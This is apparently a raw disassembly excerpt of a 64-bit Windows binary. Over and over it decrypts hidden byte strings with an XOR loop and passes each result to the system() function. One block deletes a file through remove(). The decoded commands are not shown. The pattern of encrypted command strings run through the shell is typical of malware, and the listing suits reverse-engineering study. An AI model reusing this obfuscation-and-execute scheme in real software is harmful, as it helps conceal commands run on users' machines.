andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x1400559e0
cmp r8d, 0x29
jge 0x140055b15
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x140055ae1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
lea rdx, [rbp + 0x6ce1]
lea rcx, [rbp + 0x58]
mov byte [rbp + 0x58], al
call fcn.140070b50
mov r10, rax
cmp byte [rax + 0x75], 0
je 0x140055c95
mov r8d, r14d
cmp r15d, 2
jl 0x140055c5b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x70
jl 0x140055b60
cmp r8d, 0x76
jge 0x140055c95
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x76
jl 0x140055c61
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7305]
lea rcx, [rbp + 0x59]
mov byte [rbp + 0x59], al
call fcn.140070bc0
mov r10, rax
cmp byte [rax + 0x7b], 0
je 0x140055e15
mov r8d, r14d
cmp r15d, 2
jl 0x140055ddb
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x140055ce0
cmp r8d, 0x7c
jge 0x140055e15
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x7c
jl 0x140055de1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x95a9]
lea rcx, [rbp + 0x5a]
mov byte [rbp + 0x5a], al
call fcn.140070c30
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x140055f96
mov r8d, r14d
cmp r15d, 2
jl 0x140055f58
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xa0
jl 0x140055e60
jmp 0x140055f96
mov r9, r10
nop dword [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xa0
jl 0x140055f60
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x946b]
lea rcx, [rbp + 0x5b]
mov byte [rbp + 0x5b], al
call fcn.140070ca0
mov r10, rax
cmp byte [rax + 0x9e], 0
je 0x140056127
mov r8d, r14d
cmp r15d, 2
jl 0x1400560e1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140055fe0
cmp r8d, 0x9f
jge 0x140056127
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x9f
jl 0x1400560f0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa113]
lea rcx, [rbp + 0x5c]
mov byte [rbp + 0x5c], al
call fcn.140070d40
mov r10, rax
cmp byte [rax + 0xac], 0
je 0x1400562b7
mov r8d, r14d
cmp r15d, 2
jl 0x140056271
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa8
jl 0x140056170
cmp r8d, 0xad
jge 0x1400562b7
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xad
jl 0x140056280
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7780]
lea rcx, [rbp + 0x5d]
mov byte [rbp + 0x5d], al
call fcn.140070dd0
mov r10, rax
cmp byte [rax + 0x80], 0
je 0x140056447
mov r8d, r14d
cmp r15d, 2
jl 0x140056401
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x80
jl 0x140056300
cmp r8d, 0x81
jge 0x140056447
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x81
jl 0x140056410
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x80a9]
lea rcx, [rbp + 0x5e]
mov byte [rbp + 0x5e], al
call fcn.140070e40
mov r10, rax
cmp byte [rax + 0x93], 0
je 0x1400565d7
mov r8d, r14d
cmp r15d, 2
jl 0x140056591
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140056490
cmp r8d, 0x94
jge 0x1400565d7
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x94
jl 0x1400565a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7986]
lea rcx, [rbp + 0x5f]
mov byte [rbp + 0x5f], al
call fcn.140070ec0
mov r10, rax
cmp byte [rax + 0x83], 0
je 0x140056767
mov r8d, r14d
cmp r15d, 2
jl 0x140056721
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x80
jl 0x140056620
cmp r8d, 0x84
jge 0x140056767
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x84
jl 0x140056730
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x73fd]
lea rcx, [rbp + 0x60]
mov byte [rbp + 0x60], al
call fcn.140070f30
mov r10, rax
cmp byte [rax + 0x7c], 0
je 0x1400568e5
mov r8d, r14d
cmp r15d, 2
jl 0x1400568ab
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x1400567b0
cmp r8d, 0x7d
jge 0x1400568e5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x7d
jl 0x1400568b1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x6eba]
lea rcx, [rbp + 0x61]
mov byte [rbp + 0x61], al
call fcn.140070fa0
mov r10, rax
cmp byte [rax + 0x78], 0
je 0x140056a65
mov r8d, r14d
cmp r15d, 2
jl 0x140056a2b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x140056930
cmp r8d, 0x79
jge 0x140056a65
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x79
jl 0x140056a31
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7a90]
lea rcx, [rbp + 0x62]
mov byte [rbp + 0x62], al
call fcn.140071010
mov r10, rax
cmp byte [rax + 0x87], 0
je 0x140056be6
mov r8d, r14d
cmp r15d, 2
jl 0x140056ba8
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x88
jl 0x140056ab0
jmp 0x140056be6
mov r9, r10
nop dword [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x88
jl 0x140056bb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7ef0]
lea rcx, [rbp + 0x63]
mov byte [rbp + 0x63], al
call fcn.140071080
mov r10, rax
cmp byte [rax + 0x92], 0
je 0x140056d77
mov r8d, r14d
cmp r15d, 2
jl 0x140056d31
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140056c30
cmp r8d, 0x93
jge 0x140056d77
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x93
jl 0x140056d40
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8b45]
lea rcx, [rbp + 0x64]
mov byte [rbp + 0x64], al
call fcn.140071110
